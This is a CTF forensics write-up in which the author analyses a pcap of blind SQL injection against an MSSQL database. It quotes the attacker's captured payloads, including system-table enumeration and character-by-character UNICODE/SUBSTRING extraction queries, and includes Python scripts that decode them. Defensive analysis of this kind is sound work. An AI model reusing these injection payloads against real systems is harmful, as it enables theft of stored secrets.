final rank

In the last few weeks I have participated in Deloitte’s CTF HackyHolidays. Challenges from different categories were published in 3 phases over 3 weeks. Reversing, Crypto, Web, Network, Exploit, Quantum … just to name a few areas. I finished on rank 65 out of approx. 1000 and decided to create a writeup for the task I enjoyed most.

final rank

Injection traffic | Network forensics | Phase 2 

Challenge Description

We observed malicious traffic towards our database server originating from the web server. Can you find out the sensitive piece of information that was stolen? Help us run forensics on this database exploit…

There was a pcap file provided.

$ file traffic.pcap
traffic.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 65535)

Approach

Whatis a .pcap file?

PCAP (Packet Capture) is an application programming interface (API) that captures live network packet data from OSI model Layers 2-7. With pcap you can take a look into the packages within a network. PCAP files are mostly binary. In order to access the packet content a pcap file can be opened with packet analyzers like Wireshark or tcpdump.

┌──(kali㉿kali)-[~]
└─$ head traffic.pcap
�ò�����]�VVB�B��;EH��@@�8�� ά�����y˃�o��
��T��vuse [master]��]Γ��B��;�BE�5�@@v��� ���y˃�����
��T��Tc3�mastermaster�=E%Changed database context to 'master'.
                                                              98ff1fbf22dc����]�BBB�B��;E4��@@�K�� ά�����y˃z�o��
��T��T��]d�wwB�B��;Ei��@@��� ά�����y˃z�o��
��T��T5SELECT * FROM articles where article_id = 100��]e���B��;�BE�5�@@v���� ���y˃z��ʀ�6
��U��T�3�
article_id
	& articl#articles�d���[dummyTSLorem ispum dolor sit amet.����]�BBB�B��;E4��@@�I�� ά�����y˄�w��
��_��U��]o4	VVB�B��;EH��@@�4�� ά�����y˄�w��
��o��Uuse [master]��]�6	��B��;�BE�5�@@vެ�� ���y˄��ހ�
��o��oc3�mastermaster�=E%Changed database context to 'master'.
                                                              98ff1fbf22dc����]�6	BBB�B��;E4��@@�G�� ά�����y˄c�w��

First I opened the file with Wireshark and scrolled through the requests to see if there was anything obvious. The whole file shows SQL traffic over TDS (Tabular Data Stream) which is used to transfer data between a database server and a client. The requests are initiated by 192.168.32.206, probably the attack origin.

final rank

There are more than 3000 packets, therefore it would be too time-consuming to examine all manually. This is where the solution part begins :)

Solution

Most application layer packets contain some plain text data which we can be extracted with strings.

┌──(kali㉿kali)-[~]
└─$ strings traffic.pcap > pcapstr

┌──(kali㉿kali)-[~]
└─$ head pcapstr
use [master]
master
master
Changed database context to 'master'.
                                     98ff1fbf22dc
SELECT * FROM articles where article_id = 100
article_id
          article_text
articles
dummyTS
Lorem ispum dolor sit amet.
use [master]

┌──(kali㉿kali)-[~]
└─$ tail pcapstr
IRRELEVANT SQL QUERY... FROM encryption_keys ORDER BY [key]) ORDER BY [key]),38,1))>32
article_id
          article_text
articles
use [master]
master
master
Changed database context to 'master'.
                                     98ff1fbf22dc
SELECT * FROM articles where article_id = 100 AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST([value] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys WHERE ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP 1 ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys ORDER BY [key]) ORDER BY [key]),38,1))>1
article_id
          article_text
articles

The tail command revealed the table name encryption_keys. Which led me to the question, how the attacker knows the table name. So the next step I did was to look for the packet where the name first appeared.

┌──(kali㉿kali)-[~]
|# -n = print line number
|# -m1 = stop reading after first match
└─$ grep "encryption_keys" pcapstr -n -m1
2626:SELECT * FROM articles where article_id = 100 AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(COUNT([key]) AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys),1,1))>51

Okay okay, he used encryption_keys at line 2626 for the first time, the previous requests must show how he came up with the table name.

┌──(kali㉿kali)-[~]
|# -2616,2626!d = print lines in given range
└─$ sed '2616,2626!d' pcapstr
master
Changed database context to 'master'.
                                     98ff1fbf22dc
SELECT * FROM articles where article_id = 100 AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(master..syscolumns.name AS NVARCHAR(4000)),CHAR(32)) FROM master..syscolumns,master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=CHAR(101)+CHAR(110)+CHAR(99)+CHAR(114)+CHAR(121)+CHAR(112)+CHAR(116)+CHAR(105)+CHAR(111)+CHAR(110)+CHAR(95)+CHAR(107)+CHAR(101)+CHAR(121)+CHAR(115) AND master..syscolumns.name NOT IN (SELECT TOP 1 master..syscolumns.name FROM master..sy
scolumns,master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=CHAR(101)+CHAR(110)+CHAR(99)+CHAR(114)+CHAR(121)+CHAR(112)+CHAR(116)+CHAR(105)+CHAR(111)+CHAR(110)+CHAR(95)+CHAR(107)+CHAR(101)+CHAR(121)+CHAR(115) ORDER BY master..syscolumns.name) ORDER BY master..syscolumns.name),6,1))>1
article_id
          article_text
articles
use [master]
master
master
Changed database context to 'master'.
                                     98ff1fbf22dc
SELECT * FROM articles where article_id = 100 AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(COUNT([key]) AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys),1,1))>51

To filter only for requests I grep for >.

┌──(kali㉿kali)-[~]
└─$ sed '2596,2626!d' pcapstr | grep ">"
scolumns,master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=CHAR(101)+CHAR(110)+CHAR(99)+CHAR(114)+CHAR(121)+CHAR(112)+CHAR(116)+CHAR(105)+CHAR(111)+CHAR(110)+CHAR(95)+CHAR(107)+CHAR(101)+CHAR(121)+CHAR(115) ORDER BY master..syscolumns.name) ORDER BY master..syscolumns.name),6,1))>96
scolumns,master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=CHAR(101)+CHAR(110)+CHAR(99)+CHAR(114)+CHAR(121)+CHAR(112)+CHAR(116)+CHAR(105)+CHAR(111)+CHAR(110)+CHAR(95)+CHAR(107)+CHAR(101)+CHAR(121)+CHAR(115) ORDER BY master..syscolumns.name) ORDER BY master..syscolumns.name),6,1))>48
scolumns,master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=CHAR(101)+CHAR(110)+CHAR(99)+CHAR(114)+CHAR(121)+CHAR(112)+CHAR(116)+CHAR(105)+CHAR(111)+CHAR(110)+CHAR(95)+CHAR(107)+CHAR(101)+CHAR(121)+CHAR(115) ORDER BY master..syscolumns.name) ORDER BY master..syscolumns.name),6,1))>1
SELECT * FROM articles where article_id = 100 AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(COUNT([key]) AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys),1,1))>51

This charcodes look very suspicious. To evaluate the codes quickly, I wrote a small python script.

┌──(kali㉿kali)-[~]
└─$ cat charcode.py
import sys

sc = sys.argv[1].split('+')
for i,v in enumerate(sc):
    sc[i] = (int)(v[v.find("(")+1:v.find(")")])
print(''.join(map(chr, sc)))
┌──(kali㉿kali)-[~]
└─$ python3 charcode.py "CHAR(101)+CHAR(110)+CHAR(99)+CHAR(114)+CHAR(121)+CHAR(112)+CHAR(116)+CHAR(105)+CHAR(111)+CHAR(110)+CHAR(95)+CHAR(107)+CHAR(101)+CHAR(121)+CHAR(115)"
encryption_keys

This indicated that the attacker already knew the table name before he used it in plaintext. At this point, I could have looked for the requests that he used to find the name. For reasons of time and because that would probably not have been the way to the flag, I preferred to look at requests in which the name is already used. Almost all requests from line 2626 onwards contain the table name. Since it is likely that an attacker will disconnect as soon as he has reached his target, I have started to analyse the packets at the end of the file.

┌──(kali㉿kali)-[~]
└─$ grep "encryption_keys" pcapstr | tail -10
IRRELEVANT SQL QUERY... ORDER BY [key]),37,1))>87
SELECT * FROM articles where article_id = 100 AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST([value] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys WHERE ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP 1 ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys ORDER BY [key]) ORDER BY [key]),37,1))>107
SELECT * FROM articles where article_id = 100 AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST([value] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys WHERE ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP 1 ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys ORDER BY [key]) ORDER BY [key]),37,1))>117
SELECT * FROM articles where article_id = 100 AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST([value] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys WHERE ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP 1 ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys ORDER BY [key]) ORDER BY [key]),37,1))>122
SELECT * FROM articles where article_id = 100 AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST([value] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys WHERE ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP 1 ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys ORDER BY [key]) ORDER BY [key]),37,1))>125
SELECT * FROM articles where article_id = 100 AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST([value] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys WHERE ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP 1 ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys ORDER BY [key]) ORDER BY [key]),37,1))>123
SELECT * FROM articles where article_id = 100 AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST([value] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys WHERE ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP 1 ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys ORDER BY [key]) ORDER BY [key]),37,1))>124
SELECT * FROM articles where article_id = 100 AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST([value] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys WHERE ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP 1 ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys ORDER BY [key]) ORDER BY [key]),38,1))>64
SELECT * FROM articles where article_id = 100 AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST([value] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys WHERE ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP 1 ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys ORDER BY [key]) ORDER BY [key]),38,1))>32
SELECT * FROM articles where article_id = 100 AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST([value] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys WHERE ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP 1 ISNULL(CAST([key] AS NVARCHAR(4000)),CHAR(32)) FROM encryption_keys ORDER BY [key]) ORDER BY [key]),38,1))>1

From here things got clearer. Take a look at the end of each line. Through blind SQL injection an attacker was able to extract information from the encryption_keys table. In contrast to normal SQL injection, an attacker does not directly receive data in his response. Rather, he asks true or false questions and thus assembles the data himself. In this case depending on the response, the attacker could ascertain the correct unicode value at the specified index. If >number is true, the response will contain dummyTS.

┌──(kali㉿kali)-[~]
|# -A6 = print 6 lines after match
└─$ grep -A6 "37,1" pcapstr
IRRELEVANT SQL QUERY... ORDER BY [key]),37,1))>125
article_id
          article_text
articles
use [master]
master
master
Changed database context to 'master'.

IRRELEVANT SQL QUERY... ORDER BY [key]),37,1))>124
article_id
          article_text
articles
dummyTS #!: indicates that > 124 is true but in the previous request >125 was false => unicode = 125
Lorem ispum dolor sit amet.
use [master]
master

Thus for the index 37 we can say that the unicode is 125. It is possible to solve this by hand but I automated the solving process with python.

┌──(kali㉿kali)-[~]
└─$ cat ex.py

with open('pcapstrings', 'r') as file:          # iterate over previous: strings traffic.pcap > pcapstrings
    index = 0                                   # current line index
    i = 1                                       # char index
    results = []                                # resolved unicodes
    tmp = []                                    # tmp list contains the comparison value of the querys which returned false
    lines = file.readlines()[4907:]             # get all lines after line 4907 because at line 4907 blind sql for index 1 starts

    for line in lines:                          # iterate over lines
        if('encryption_keys' in line):          # we only want the requests which contain encryption_key not the answers
            ci = (int)(line.split(',')[-2])     # extract the index e.g. ...37,1))>124 => 37 = index
            if(ci > i):                         # if the next request contains the next index resolve the candidates in tmp first
                results.append(min(tmp))        # resolve final unicode; append to results
                tmp = []                        # clear tmp list
                i+=1                            # increase current index
            nxt6 = lines[index:index+6]         # get 6 lines after the request 
            if('dummyTS\n' not in nxt6):        # check if line does not contain dummyTS => greater than comparison is false
                tmp.append((int)(line.split('>')[1].strip()))  # adds the unicode to tmp e.g. ...37,1))>124 => adds 124
        index+=1                                # increase index

    for c in results:                   
        print(chr(c), end='')                   # chr gets the character that is represented by the given unicode
final rank